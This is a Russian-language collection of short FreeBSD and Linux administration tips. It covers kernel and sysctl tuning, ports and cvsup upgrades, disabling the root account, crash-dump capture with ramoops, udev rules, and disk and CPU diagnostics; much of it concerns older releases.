    Комментарий к заметке: В portupgrade есть специальная утилита для чистки мусора - portsclean.
    
     
    ----* Как определить порядок запуска rc.d скриптов в FreeeBSD (доп. ссылка 1)   Автор: uldus  [комментарии]
     
    /usr/local/etc/rc.d скрипты запускаются в алфавитном порядке:
    010.postgres.sh
    020.postfix.sh
    030.apache.sh
    
     
    ----* Как оптимизировать сборку ядра и системы в FreeBSD   [комментарии]
     
    Правим /etc/make.conf пользуясь /etc/defaults/make.conf
      CPUTYPE=i686
      CFLAGS=-O2 -pipe
      COPTFLAGS=-O -pipe
    На SMP системах собираем через make -j2 buildworld
    
     
    ----* Можно ли обойтись в FreeBSD GENERIC ядром или как изменить параметры ядра без его пересборки.   [комментарии]
     
    man sysctl.conf; man sysctl
    man loader.conf; man loader
    На основе параметров в /boot/defaults/loader.conf, формируем /boot/loader.conf, 
    где можем указать какие модули подгружать и какие значения системных констант использовать.
    Например, безе пересборки можно использовать GENERIC с /boot/loader.conf:
       kern.maxusers="512"
       kern.ipc.nmbclusters="16384"
       null_load="YES" # Грузим модуль для Null filesystem
       vinum_load="YES"
       accf_http_load="YES"  # HTTP request accept filter
    /etc/sysctl.conf
       kern.maxfiles=32000
       kern.ipc.somaxconn=1024
       net.inet.ip.portrange.last=30000
       net.inet.tcp.sendspace=32768
       net.inet.tcp.recvspace=32768
    
     
    ----* Какие tag'и можно ставить при апгрейде FreeBSD через cvsup (доп. ссылка 1)   Автор: lavr  [обсудить]
     
    Например для 4.6.1: tag=RELENG_4_6_1_RELEASE
    для всех RELEASE, к RELENG_X_Y добавляется _RELEASE - это чистый RELEASE
    для каждого РЕЛИЗА, после установки или upgrade via CVS/CTM, впоследствии можно использовать 
    tag=RELENG_X_Y - который будет вытягивать только security patches для
    заданного в теге RELEASE
    для STABLE всегда tag=RELENG_4 , stable всегда изменяется
    для CURRENT tag=.
    
     
    ----* Как русифицировать шелл в FreeBSD ?   Автор: lavr  [обсудить]
     
    Bash: $HOME/.inputrc
          set convert-meta off
          set input-meta on
          set output-meta on
    $HOME/.bash_profile
          export CHARSET=KOI8-R
          export MM_CHARSET=KOI8-R
          export LANG=ru_RU.KOI8-R
    Tcsh[Csh] $HOME/.login
          setenv CHARSET KOI8-R
          setenv MM_CHARSET KOI8-R
          setenv LANG ru_RU.KOI8-R
    
     
    ----* Установка программ через Ports в FreeBSD.   [комментарии]
     
    Апргейд коллекции портов:
    Редактируем /usr/share/examples/cvsup/ports-supfile и запускаем:
        cvsup -g -L 2 ports-supfile
    Поиск:
        make search key="строка" - поиск пакета по ключевому слову.
        make search name="строка" - поиск пакета по названию пакета.
    Установка портов:
        cd /usr/ports/порт; make; make install
    Другие команды:
        make deinstall - деинсталлировать приложение.
        make fetch     - скачать приложение из сети.
        make checksum  - проверить контрольные суммы.
        make depends   - перестроить зависимости.
        make extract   - разархивировать исходные тексты в work директорию.
        make patch     - применить патчи к приложению.
        make build     - собрать приложение из исходных тестов.
        make clean     - "почистить" исходники после сборки.
        make reinstall - переустановить приложение после удаления.
        make package   - построить из порта package.
    
     
    ----* Где скачать последнюю FreeBSD STABLE в бинарном виде ? (доп. ссылка 1)   [комментарии]
     
    ftp://stable.freebsd.org/pub/FreeBSD/snapshots/i386/
    
     
    ----* Как правильно проабгрейдить установленные FreeBSD ports   [комментарии]
     
    pkg_version -c >/tmp/uplist.sh
    sh -x /tmp/uplist.sh > /tmp/upgrade.output
    cd /usr/ports/devel/ctags; portupgrade ctags
    
     
    ----* Как автоматизировать процесс установки FreeBSD на несколько машин.   [обсудить]
     
    Для автоматической установки достаточно создать профайл инсталляции
     install.cfg, скопировать его на дискету, а в sysinstall при установке
     выбрать пункт меню "Load Config".
    Пример install.cfg можно найти в /usr/src/release/sysinstall/install.cfg
    
     
    ----* Как проабгрейдить FreeBSD с помощью cvsup   [комментарии]
     
    1. cd /usr/src/; cvsup -g -L2 /etc/cvsupfile # cvsupfile составляем опираясь на /usr/share/examples/cvsup/stable-supfile
    2. make buildworld
    3. make buildkernel KERNCONF=имя_конфига_ядра
    4. make installkernel KERNCONF=имя_конфига_ядра
    5. make installworld
    6. mergemaster
       Для пересборки ядра после make installworld: config MYKERNEL; make depend; make; make install
    
    Дополнение: C 2012 года проект FreeBSD перешёл на использование Subversion.
    Вместо cvsup следует использовать svnup (или freebsd-update для системы,
    portsnap/pkg для портов):
    
       cd /usr/ports/net/svnup && make install
       svnup stable -h svn0.us-west.freebsd.org 
       svnup ports -h svn0.us-west.freebsd.org 
    
    Настройки можно найти в файле /usr/local/etc/svnup.conf
    
     
    ----* Если возникла проблема с FreeBSD или нет драйвера для устройства. (доп. ссылка 1)   [обсудить]
     
    Неофициальные драйвера устройств и решение некоторых проблем приводятся на http://www.freebsd.org/cgi/query-pr-summary.cgi
    
     
    ----* Как создать необходимые для проигрывания звука устройства в FreeBSD   [комментарии]
     
    cd /dev;./MAKEDEV snd0
    будут созданы все необходимые устройства (/dev/dsp, /dev/mixer и т.д.) для pcm0.
    
     
    ----* Как обновить код загрузчика в FreeBSD   [комментарии]
     
    Ставим boot-менеджер в MBR:
        boot0cfg /dev/ad0
        или fdisk -B -b /boot/boot0 /dev/ad0
    
    Обновляем boot-loader (boot1 и boot2):
        disklabel -B ad0s1
    
     
    ----* Почему не работает отладчик kbdg в FreeBSD 4.7   Автор: anonym  [обсудить]
     
    Я столкнулся с тем, что при установке FreeBSD 4.7 перестал работать отладчик kdbg.
    Проблема решилась заменой отладчика dbg из дистрибутива на GNU dbg 5.2 (есть в пакаджах)
    
     

       Linux специфика

    ----* Отключение учетной записи root в openSUSE Tumbleweed   Автор: popov895  [комментарии]
     
    В этой заметке я не буду объяснять, почему необходимо отключать учетную
    запись root, а просто опишу, как это можно сделать в openSUSE Tumbleweed.
    Внимание: не забывайте делать резервные копии системных файлов, которые
    планируете редактировать!
    
    Для начала, нужно добавить пользователя, которому необходимо включить доступ к
    sudo, в групу wheel (username - имя этого пользователя):
    
        sudo usermod -aG wheel username
    
    Далее необходимо отредактировать файл /etc/sudoers. Для этого
    необходимо выполнить следующую команду:
    
        sudo visudo
    
    Что необходимо отредактировать:
    
    * Раскомментировать строку (последняя строка в примере ниже):
    
        ## Uncomment to allow members of group wheel to execute any command
        %wheel ALL=(ALL) ALL
    
    * Закомментировать две строки (две последние строки в примере ниже):
    
        ## In the default (unconfigured) configuration, sudo asks for the root password.
        ## This allows use of an ordinary user account for administration of a freshly
        ## installed system. When configuring sudo, delete the two
        ## following lines:
        # Defaults targetpw   # ask for the password of the target user i.e. root
        # ALL   ALL=(ALL) ALL   # WARNING! Only use this together with 'Defaults targetpw'!
    
    * Добавить строку в конец секции Defaults specification (последняя
    строка в примере ниже):
    
        ##
        ## Defaults specification
        ##
        ## Prevent environment variables from influencing programs in an
        ## unexpected or harmful way (CVE-2005-2959, CVE-2005-4158, CVE-2006-0151)
        ...
        Defaults env_keep += "DISPLAY XAUTHORITY"
    
    Внесённые изменения нужно сохранить и выйти из редактора (:wq для vim). Далее
    необходимо изменить правила аутентификации через PolicyKit. Для этого
    необходимо выполнить следующие две команды:
    
        sudo cp /usr/share/polkit-1/rules.d/50-default.rules /etc/polkit-1/rules.d/40-default.rules
        sudo sed -i 's/user:0/group:wheel/g' /etc/polkit-1/rules.d/40-default.rules
    
    Далее нужно настроить kdesu на использование sudo вместо su. Для этого нужно
    создать файл /etc/xdg/kdesurc со следующим содержимым:
    
        [super-user-command]
        super-user-command=sudo
    
    После всего этого перезагружаемся и, собственно, теперь уже отключаем учетную запись root:
    
        sudo passwd -l root
    
     
    ----* Полезные пакеты, которые можно установить на сервер для диагностики сбоев (доп. ссылка 1)   [комментарии]
     
    Минимальный набор пакетов  для диагностики проблем, которые рекомендуется
    заранее установить на серверы, чтобы не тратить время на установку
    дополнительных пакетов или поиск специализированных live-дистрибутивов.
    
    Установка диагностических утилит во время сбоя может превратиться в решение
    отдельной проблемы или потребовать много времени,  учитывая то, что во время
    сбоя может пропадать сетевое соединение, возникнуть проблемы с DNS, наблюдаться
    большие потери пакетов или снижение полосы пропускания, возникать большие
    задержки ввода команд из-за высокой нагрузки на CPU или исчерпания памяти,
    дисковый раздел может быть переведён в режим только для чтения и т.п.
    
    Список пакетов для предустановки (названия для Ubuntu) и поставляемые в них
    диагностические утилиты:
    
    
  • procps - утилиты ps, vmstat, uptime, top
  • util-linux - dmesg, lsblk, lscpu (общая статистика, информация о блочных устройствах и CPU)
  • sysstat - iostat, mpstat, pidstat, sar (оценка производительности)
  • iproute2 - ip, ss, nstat, tc (настройка сети и управление трафиком)
  • numactl - numastat (статистика по NUMA)
  • tcpdump - tcpdump (анализ трафика)
  • linux-tools-common и linux-tools-$(uname -r) - perf, turbostat (профилировние и мониторинг производительности)
  • bpfcc-tools (bcc) - opensnoop, execsnoop, runqlat, softirqs, hardirqs, ext4slower, ext4dist, biotop, biosnoop, biolatency, tcptop, tcplife, trace, argdist, funccount, profile (диагностика на базе eBPF)
  • bpftrace - bpftrace, opensnoop, execsnoop, runqlat, biosnoop (диагностика на базе eBPF)
  • trace-cmd - trace-cmd (CLI-интерфейс для ftrace)
  • nicstat - nicstat (информация о сетевых устройствах)
  • ethtool - ethtool (информация о сетевых устройствах)
  • tiptop - tiptop (PMU/PMC top)
  • cpuid - cpuid (информация о CPU)
  • msr-tools - rdmsr, wrmsr (информация о CPU) sudo apt install procps util-linux sysstat iproute2 numactl tcpdump linux-tools-common linux-tools-$(uname -r) bpfcc-tools bpftrace trace-cmd nicstat ethtool tiptop cpuid msr-tools
  •  
    ----* Загрузка ядра Linux, собранного в конфигурации allmodconfig   Автор: linuxoid  [комментарии]
     
    Файл конфигурации allmodconfig позволяет все модули ядра отметить как "m", т.е.
    как подгружаемые, а не встроенные в ядро. Но проблема в том, что ядро с такими
    настройками не загружается.
    
    Подразумевается, что в файле конфигурации уже отмечены все подходящие для
    заданного компьютера дисковые драйверы sata/ide/scsi, как встроенные в ядро "y"
    или как "m" для размещения на initrd. Но ядро всё равно не грузится.
    
    Загрузочное сообщение: Cannot open root device "(null)"
    
    Если в grub указан параметр root=/dev/sda1 (sda1 указан для примера), а при при
    загрузке появляется сообщение "Cannot open root device "(null)" or
    unknown-block(0,0)" (обратите внимание, что вместо sda1 появилось null), это
    значит, что нужно изменить в конфигурации "CONFIG_CMDLINE_BOOL=n".
    
    Загрузочное сообщение: Failed to execute /init
    
    При использовании initrd при загрузке может появится сообщение "Failed to
    execute /init" и нужно изменить в  конфигурации "CONFIG_BINFMT_SCRIPT=y".
    
     
    ----* Обновление Fedora/RFRemix 19 до Fedora/RFRemix 20   Автор: Аноним  [комментарии]
     
    Получаем права суперпользователя
    
       su
    
    Устанавливаем новый gpg-ключ:
    
       rpm --import https://fedoraproject.org/static/246110C1.txt
    
    Удаляем проблемную прошивку Intel WiMAX, убедившись в том, что подключение
    посредством WiMAX не является единственным способом соединения устройства с Сетью
    
       yum remove NetworkManager-wimax
    
    Обновляем систему:
    
       yum update yum
       yum --releasever=20 distro-sync
    
    Внимание ! При обновлении с использованием fedup предварительно следует
    обновить данную утилиту до версии 0.8. В репозиториях  Fedora 18 и 19 в момент
    выхода Fedora 20 находилась версия 0.7, при использовании которой обновление до
    Fedora 20 будет завершено ошибкой. При обновлении с Fedora 18 дополнительно
    в fedup следует использовать опцию "--nogpgcheck".
    
     
    ----* Установка DTrace в Ubuntu Linux (доп. ссылка 1)   [комментарии]
     
    Установим пакеты, необходимые для обеспечения работы DTrace:
    
       sudo apt-get update && sudo apt-get upgrade
       sudo apt-get install python-software-properties bison flex build-essential \\
       libelf-dev zlib1g-dev libc6-dev-i386 libdwarf-dev binutils-dev
       sudo apt-get install git
    
    Клонируем на локальную систему содержимое Git-репозитория dtrace4linux:
    
       git clone git://github.com/ShepBook/dtrace-for-linux.git&#8221;
    
    Соберём компоненты DTrace:
    
       cd dtrace-for-linux
       make all
       sudo make install
    
    Загрузим модуль ядра с поддержкой DTrace:
    
       sudo make load
    
    Убедимся, что поддержка DTrace присутствует в ядре:
    
       sudo /usr/sbin/dtrace -l
    
    Загрузим DTrace-скрипт:
    
       sudo /usr/sbin/dtrace -s скрипт.d
    
     
    ----* Особенности установки Skype на 64-битную систему   Автор: Карбофос  [комментарии]
     
    При попытке скачать и установить с оригинальной страницы пакет skype 64 для
    Ubuntu и установить его на базирующуюся на Debian 64-битную платформу меня
    ждало разочарование: распакованный файл, скачанный здесь
    http://www.skype.com/go/getskype-linux-beta-ubuntu-64 на поверку оказался
    обычным 32-битным бинарником:
    
       readelf -h ./skype
    
    Скачанная здесь http://www.skype.com/go/getskype-linux-beta-static программа
    собрана статично только с Qt4 библиотеками. Командой
    
       ldd ./skype
    
    выясняются другие зависимости 32-битных библиотек этой программы.
    Устанавливаем ia32-libs-gtk из репозитория вашего дистрибутива, например, для
    Debian-подобных систем:
    
      sudo apt-get install ia32-libs-gtk
    
    создаём старт-скрипт skype.sh
    
       #!/bin/bash
    
       # этот вариант для программы с библиотеками Qt4 в директории ~/skype/lib
       #export LD_LIBRARY_PATH=~/skype/lib:/usr/lib32/:$LD_LIBRARY_PATH
       # этот вариант с интегрированным Qt4
       export LD_LIBRARY_PATH=/usr/lib32/:$LD_LIBRARY_PATH
       # часть libv4l
       export LD_PRELOAD=/usr/lib32/libv4l/v4l1compat.so
       ./skype
    
    
    Если нет реакции при тесте изображения, то можно диагностировать из консоли (с правами доступа):
    
       tail -f /var/log/messages 
    
    при этой ошибке "bandwidth not wide enough - trying again" можно попытаться
    подключить камеру не через USB Hub, а напрямую к компьютеру.
    
    Если происходит крах программы, то можно попытаться настроить свойства камеры в
    созданном программой файле настроек config.xml в директории ~/.Skype/$acc_name/ :
    
        <Video>
          <CaptureHeight>240</CaptureHeight>
          <CaptureWidth>320</CaptureWidth>
          <!--Fps>30</Fps-->
        </Video>
    
    Если <Video>..</Video> в файле настроек нет, то его нужно добавить в секции
    <Lib>..</Lib>. Здесь можно настроить, как видно, частоту кадров и разрешение
    вебкамеры. Поэкспериментируйте с этими настройками.
    
    
    Ссылки: подключение skype под Linux, для случая с подключением Compiz.
    
     
    ----* Что поправить в Ubuntu 10.10 Maverick на ноутбуке IBM Т61   Автор: rstone  [комментарии]
     
    1. Если нет индикации раскладки клавиатуры (должно быть написано рядом со
    значком), либо наблюдаются проблемы с индикаторами (внимание , настройки панели
    будут сброшены - останутся только индикаторы по умолчанию):
    
       gconftool-2 --shutdown
       rm -rf ~/.gconf/apps/panel
       pkill gnome-panel
    
    
    2. Если на каждое подключение питания (AC)  включается диск на несколько секунд, в логах было :
    
       ata3: exception Emask 0x10 SAct 0x0 SErr 0x50000 action 0xe frozen
       [76550.066188] ata3: irq_stat 0x00400000, PHY RDY changed
       [76550.066191] ata3: SError: { PHYRdyChg CommWake }
       [76550.066196] ata3: hard resetting link
    
    Выяснилось, что это старая ошибка, исправленная в ядре 2.6.33, но как-то
    попавшая в 2.6.35-22-generic от Ubuntu.
    Лечится в файле /usr/lib/pm-utils/power.d/sata_alpm
    Строчку
    
       true) [ "$SATA_ALPM_ENABLE" = true ] && set_sata_alpm min_power;;
    
    меняем на : 
    
       true) [ "$SATA_ALPM_ENABLE" = truelies ] && set_sata_alpm min_power;;
    
    баг1
    баг2
    
    
    3. Неработа мышей ( TrackPoint && TouchPad ) и клавиатуры после возвращения из спящего режима. 
    Лечится созданием/редактированием файла /etc/pm/config.d/00sleep_module:
    
       cat /etc/pm/config.d/00sleep_module
       SUSPEND_MODULES="psmouse" 
    
     
    ----* Борьба с kernel panic в Linux-ядре 2.6.35 и выше   Автор: Аноним  [комментарии]
     
    Начиная с версии 2.6.35 в Linux-ядре появилась полезная функция "ramoops",
    позволяющая в случае краха сохранять информационный дамп состояния ядра в
    памяти для последующего анализа. Данные сохраняются только при мягкой
    перезагрузке, без очистки прошлого состояния памяти. Вкомпилировать данную
    функцию в ядро или загружать модулем "ramoops" - без разницы.
    
    Единственная хитрость - сначала нужно зарезервировать память в ядре.
    Сделать это можно указав ядру параметр memmap=256K@0xfc0000
    (резервируем 256К перед ядром).
    
    Если ramoops в ядре, то добавляем параметры 
    
       ramoops.mem_address=0xfc0000 и
       ramoops.mem_size=0x40000
    
    параметр ramoops.dump_oops=1 является умолчанием, так что его можно не указывать.
    
    Для модуля "ramoops" эти параметры нужно указать при загрузке.
    
    Теперь чтобы ядро не осталось в мертвом виде, не забываем сделать
    
       echo 10 >/proc/sys/kernel/panic
    
    и (если нужно, а иногда полезно)
    
       echo 1 >/proc/sys/kernel/panic_on_oops
    
    Теперь проверяем при помощи crash-а через Alt-SysRq-C.
    
    После перезагрузки, текст crash-дампа будет лежать в памяти, начиная с адреса 0xfc0000.
    
    Достать его оттуда можно при помощи
    
       dd if=/dev/mem bs=256k skip=63 count=1 >>crash.txt
    
    либо при помощи простенькой программы, которая открывает /dev/mem и с
    указанного смещения читает данные.
    
    Для сохранения дампа на диск следует использовать похожую функцию mtdoops.
    
    Дополнение: Для работы в ядре необходимо выключить опцию CONFIG_STRICT_DEVMEM 
    
     
    ----* Разбираем nod32 для Linux   Автор: Карбофос  [комментарии]
     
    Пару дней назад появилась новость о выходе бета версии антивируса для линукс систем. 
    Скачать можно здесь: http://beta.eset.com/linux
    
    Мне стало интересно, что внутри этого бинарника и как его можно установить без
    инсталляции через dpkg или rpm. у меня дома 64 битный Debian, поэтому загрузил
    себе версию соответствующей разрядности.
    
    В директории с загруженным из интернета бинарником:
    
       chmod 755 ueav.x86_64.linux
    
    После этого бинарник можно запустить, но он сразу хочет пароля
    суперпользователя для установки. Посмотрим, что он хочет. В директории /tmp/ во
    время запуска появляется поддиректорий с именем подобным /tmp/epkg.uIS8sc/
    
    Сделаем копию в директорий пользователя, т.к. в случае закрытия дилога с вводом
    пароля root файлы удалятся, что и следует ожидать.
    
    В ESETовском директории можно найти пару интересных файлов, один из которых -
    бинарник test32 пользователя aurel32. На какой системе он был собран также
    нетрудно выяснить.
    
    Второй файл намного интереснее, это epkg.rpm
    
    Вытаскиваем содержимое утилитой rpm2cpio (к примеру)
    
       rpm2cpio epkg.rpm | cpio -idv
    
    В сожалению, можно обнаружить, что в бинарниках есть жесткая привязка в
    директорию /opt/ поэтому я решил сделать просто символьные линки на папку, в
    которую я распаковал (перетащил) содержимое, нужны права суперпользователя.
    
       ln -s /home/username/ESET/opt/eset /opt/eset
    
    ну и остальные, по желанию. Если не хотите, то можно напрямую перетащить
    директории с содержимым в корневой каталог. содержимое etc в /etc и далее, по списку.
    
    Если сделали, как нужно, то в директории /etc/init.d/ появился скрипт esets,
    который управляет демоном от eset:
    
       ./esets
       Usage: ./esets {start|stop|restart|force-reload|reload}
    
    В распакованном нами директории ~/ESET/opt/eset/esets/lib/ есть файл, размером
    20 мегабайт: esets_modules. В нем находятся базы сигнатур, которые
    распаковываются в обычном случае в /var/opt/eset/esets/lib/,
    сюда же следует обновлять данные антивируса вручную, если не будет работать актуализация. 
    
    В случае, если при старте из консоли вы будете получать сообщение, типа "нет
    прав...", то можно пойти навстречу требованиям трудящихся:
    
       chown username:users /opt/eset/ -R
       chown username:users /var/log/esets -R
       chown username:users /var/opt/eset -R
       chown username:users /etc/opt/eset -R
    
    затем запускаем демон
    
       /etc/init.d/esets force-reload
    
    и после этого GUI:
    
       /opt/eset/esets/bin/esets_gui
    
    определить разрядность исполняемого файла можно так:
    
       readelf -h esets_gui
    
    загружаемые библиотеки:
    
       ldd esets_gui
    
    p.s. графическую оболочку для установки не запускал вообще, уж извините.
    
     
    ----* Безопасная перезагрузка зависшей системы Linux через Magic SysRq key (доп. ссылка 1)   Автор: Litos  [комментарии]
     
    Иногда бывает, что операционная система Linux зависает. Вы пробудете
    перезапустить Иксы нажав Ctrl+Alt+BackSpace
    (следует отметить, что данная комбинация отключена по-умолчанию в новом XOrg),
    но это безрезультатно. Зайти на машину по сети тоже нет возможности.
    Но не стоит нажимать кнопку Reset. Ведь это может привести к потери
    несохраненных данных/повреждению
    файлов с которыми велась работа.
    
    Вместо этого следует нажать комбинацию клавиш Alt+SysRq и удерживая их
    последовательно нажать клавиши R E I S U B
    с интервалом 2-3 секунды. После чего система перезагрузится. 
    Запомнить можно комбинацию по фразе: "REстарт ISкуственный UBийственный"
    
    Если в консоли нажать Alt+SysRq+H, то можно получить краткую справку.
    
     
    ----* Выполнение действий при изменении состояния сетевых интерфейсов в Debian (доп. ссылка 1)   Автор: ffsdmad  [комментарии]
     
    Имеется такая задача, к компьютеру в локальной сети подключается USB WiFi
    адаптер, при этом компьютер
    автоматически превращается в прозрачный мост для подключемых WiFi устрайств
    (ноутбуки). А после отключения адаптера, компьютер должен восстановить своё
    исходное состояние.
    
    В файле /etc/network/interfaces находятся описания настроек интерфейсов, а так же способы запуска
    Например такая запись, заставляет автоматически включать eth0 и настраивать его по DHCP
    
       auto eth0
       iface eth0 inet dhcp
           post-down ip addr flush dev eth0 dhcp # удаляем привязанный IP
    
    
    Для привязки действий в момент подключения или отключения усторойства с
    заданным именем можно использовать опцию allow-hotplug.
    
    Объявляем новое соединение wlan0 и последовательность событий-действий связанных с ним:
    
       iface wlan0 inet manual
           pre-up ifdown eth0 # стопим eth0, нужно для включения его в  bridge
           pre-up brctl addbr bridge
           pre-up brctl addif bridge eth0
           pre-up brctl addif bridge wlan0
           pre-up ifconfig eth0 up
           pre-up dhclient3 bridge 
           pre-up ifconfig wlan0 down 
           pre-up iwconfig wlan0 mode ad-hoc freq 2.437GH essid ffhome channel 6
           pre-up ifconfig wlan0 up
           post-down brctl delif bridge eth0
           post-down ifconfig bridge down # стопим bridge, нужно для его  удаления
           post-down brctl delbr bridge
           post-down ifup eth0 # снова включаем eth0
       allow-hotplug wlan0
    
    Опция allow-hotplug инициализирует интерфейс wlan0 в момент когда ядро его определяет.
    Первое событие происходит перед инициализацией интерфейс. В этот момент нужно остановить eth0, 
    сбросить у него IP, подготовить и запустить мост, а затем иницилизировать WiFi
    адаптер в режиме точки.
    
    А после отключения WiFi адаптера необходимо удалить мост и восстановить eth0. 
    
     
    ----* Добавление драйвера в образ сетевой установки (PXE) CentOS 5.X   Автор: Victor Leschuk  [обсудить]
     
    Бывают ситуации, когда самый простой способ поставить систему на машину - с
    использование PXE сервера и FTP/HTTP/NFS.
    В случае, если в загрузочном образе для PXE отсутствует необходимый драйвер для
    сетевой карты или SCSI придется его
    добавлять вручную, пересобирая рамдиск. 
    
    В данном примере будем добавлять драйвер atl1 в образ Centos 5.3. 
    Далее приведен краткий список шагов и команд.
    
    1. Определение нужного устройства.
    
    Загружаемся с PXE и видим, что не обнаружилась сетевая карта
    
    Берем образ любой Linux системы, грузимся с него и смотрим вывод lspci. 
    В нашем случае сетевой карточкой оказалось устройство  1969:1048 - сетевая карточка Atheros.
    
    Драйвер для этого устройства - atl1e.
    
    2. Собираем на какой-либо машине модуль под то ядро, которое присутствует в образе. 
    Узнать версию, не загружаясь, можно например так:  
    
       dd if=vmlinuz bs=512 count=1|xxd
    
    В моем случае это 2.6.18-128.el5 x86_64. На сборочной машине пакет gcc должен быть той же версии, 
    которой собиралось ядро (здесь это gcc-4.1). Собирается модуль примерно так: 
    
       # cd /usr/src/kernels/2.6.18-128.el5-x86_64/
       # make modules M=/usr/src/atl1-1.2.40.2-1.nodist.rf/
       ...
       LD [M]  /usr/src/atl1-1.2.40.2-1.nodist.rf/atl1.ko
    
    Здесь /usr/src/atl1-1.2.40.2-1.nodist.rf - директория с исходными кодами модуля, 
    а /usr/src/kernels/2.6.18-128.el5-x86_64/ - с исходными кодами ядра (необходимо
    поставить соответствующий пакет kernel-devel).
    
    3. Распаковываем рамдиск и добавляем туда модуль: 
       $ mkdir unpack
       $ cd $_
       $ gunzip < /var/lib/tftpboot/centos53/initrd.img | cpio -i --make-directories
       $ cd modules
       $ mkdir tmp
       $ cd $_
       $ gunzip < ../modules.cgz|cpio -i --make-directories
       $  cd 2.6.18-128.el5/x86_64/
       $ cp /path/to/atl1.ko .
       $ cd ../../../
       $ mv modules.cgz ~/modules.cgz.saved
       $ find ./tmp/2.6.18-128.el5/ -print | cpio -o -Hnewc|gzip -c9 > modules.cgz
       $ rm -rf ./tmp
    
    4. Теперь надо добавить информацию о модуле в файлы modules.alias и module-info: 
    
       $ /sbin/modinfo /path/to/atl1.ko |grep alias
       alias:          pci:v00001969d00001048sv*sd*bc*sc*i*
    
       $ echo $(/sbin/modinfo /path/to/atl1.ko |grep alias) atl1 >> modules.alias
    
    Прописываем информацию о модуле в файл module-info, чтобы потом можно было
    подгрузить драйвер из меню.
    Добавляем следующие строчки: 
    
       atl1
       eth
       "Atheros L1 Gigabit Ethernet Driver "
    
    5. Запаковываем рамдиск: 
    
       $ cd ..
       $ find . -print | cpio -o -Hnewc|gzip -c9 > ../initrd_updated.img
    
    6. Правим конфигурацию pxelinux, подкладываем в папку с образами новый рамдиск и ставим систему. 
    
     
    ----* Фиксация номеров устройств для нескольких одинаковых карт в Linux (доп. ссылка 1)   Автор: silverghost  [комментарии]
     
    Проблема: Несколько DVB карт при перезагрузке менялись местами в произвольном порядке. 
    
    Решение: зафиксировать эти карты на своих местах через написание udev правила.
    
    Итак, смотрим параметры каждой из карт:
    
       udevinfo -a -n /dev/dvb/adapter0/frontend0
    
       looking at device '/class/dvb/dvb0.frontend0':
        KERNEL=="dvb0.frontend0"
        SUBSYSTEM=="dvb"
        DRIVER==""
    
       looking at parent device '/devices/pci0000:00/0000:00:1e.0/0000:02:00.0':
        KERNELS=="0000:02:00.0"
        SUBSYSTEMS=="pci"
        DRIVERS=="b2c2_flexcop_pci"
        ATTRS{vendor}=="0x13d0"
        ATTRS{device}=="0x2103"
        ATTRS{subsystem_vendor}=="0x13d0"
        ATTRS{subsystem_device}=="0x2103"
        ATTRS{class}=="0x028000"
        ...
    
    Создаем файл /etc/udev/rules.d/10-local.rules с содержимым (фиксация по параметру "KERNELS"):
    
       SUBSYSTEM=="dvb", KERNELS=="0000:02:00.0", PROGRAM="/bin/sh -c 'K=%k; K=$${K#dvb}; printf dvb/adapter0/%%s $${K#*.}'", NAME="%c", GROUP="video"
       SUBSYSTEM=="dvb", KERNELS=="0000:02:02.0", PROGRAM="/bin/sh -c 'K=%k; K=$${K#dvb}; printf dvb/adapter1/%%s $${K#*.}'", NAME="%c", GROUP="video"
    
     
    ----* Простой способ ограничения утилизации CPU для заданного процесса   [комментарии]
     
    В репозиториях популярных Linux дистрибутивов можно найти полезную утилиту
    cpulimit (http://cpulimit.sourceforge.net/),
    которая позволяет легко ограничить занимаемые определенной программой процессорные ресурсы.
    Метод работы программы оригинален, в зависимости от указанного процента допустимой нагрузки, 
    процесс периодически останавливается через отправку сигнала SIGSTOP, а затем
    работа возобновляется через SIGCONT.
    
    Например, ограничиваем потребление CPU для работающей программы find в 30%.
    Определяем идентификатор процесса:
    
       $ ps -aux|grep find
       user 3470  7.0  7.9 25516 16252 ?       Sl   17:05  14:19 /usr/bin/find
    
    Ограничиваем: 
    
       $ cpulimit --pid 3470 --limit 30
    
    На многопроцессорных системах, процент нужно указывать с учетом числа CPU, т.е.
    для 4 процессорной машины для
    указания работы без ограничений нужно поставить не 100%, а 400%.
    
     
    ----* Как узнать поддерживается ли PCI устройство в заданном Linux ядре (доп. ссылка 1)   [комментарии]
     
    Для определения какие доступные модули ядра подходят для установленных в текущей системе PCI плат, 
    нужно запустить утилиту pcimodules, которая для сопоставления модулей ядра и
    идентификаторов PCI плат
    использует содержимое файла /lib/modules/версия_ядра/modules.pcimap,
    автоматически генерируемого на этапе
    выполнения команды depmod.
    
    Полный список всех поддерживаемых PCI идентификаторов можно найти в файле /usr/share/hwdata/pci.ids
    Обновить базу pci.ids можно выполнив команду:
    
       update-pciids
    
    Для просмотра всех PCI устройств в системе нужно использовать утилиту lspci
    (lspci -vvv для детального вывода).
    
    Для вывода информации, какой драйвер можно использовать для каждого устройства в системе:
    
       lspci -k
    
    Рассмотрим по шагам процесс определения присутствия поддержки имеющейся аудио
    платы в текущем Linux ядре.
    
    Смотрим параметры платы:
    
       lspci | grep -i audio
    
       00:1b.0 Audio device: Intel Corporation 82801G (ICH7 Family) High Definition Audio Controller
    
    Видим, что идентификатор платы 00:1b.0. Далее, выводим для этого идентификатора
    более подробную информацию:
    
    
       lspci -n | grep 00:1b.0
     
       00:1b.0 0403: 8086:27d8 (rev 01)
    
    где,
       00:1b.0 - код устройства;
       8086 - код производителя (Intel Corporation)
       27d8 - идентификатор модели.
    
    Проверяем какие модули ядра поддерживают данную модель:
    
       grep 27d8 /lib/modules/$(uname -r)/modules.pcimap 
    
       snd-hda-intel 0x00008086 0x000027d8...
    
    Смотрим информацию о драйвере:
    
       modinfo snd-hda-intel
    
       filename:       /lib/modules/2.6.27-11-server/kernel/sound/pci/hda/snd-hda-intel.ko
       description:    Intel HDA driver
       depends:        snd-pcm,snd-page-alloc,snd
    
     
    ----* Трассировка ввода/вывода в Linux (доп. ссылка 1)   [комментарии]
     
    Утилита blktrace (присутствует в репозиториях Ubuntu и Debian) позволяет 
    проконтролировать какие именно данные передаются для заданного блочного устройства.
    
    Например, посмотреть общую статистику и детали обмена данными с /dev/sda можно выполнив команду:
    
       blktrace -d /dev/sda -o - | blkparse -i - 
    
    где, blkparse фильтр для наглядного представления результатов.
    
    В случае вывода ошибки про отсутствие /sys/kernel/debug, убедитесь, что смонтирована debugfs:
    
       mount -t debugfs debugfs /sys/kernel/debug
    
    В качестве альтернативы можно предложить задействование механизма /proc/sys/vm/block_dump, 
    при записи 1 в этот файл начнется сбор данных, при записи 0 - результаты будут
    выведены в буфер dmesg.
    Скрипт для упрощения разбора данных можно загрузить здесь:
     http://www.digitalprognosis.com/opensource/scripts/top-disk-users
    
    
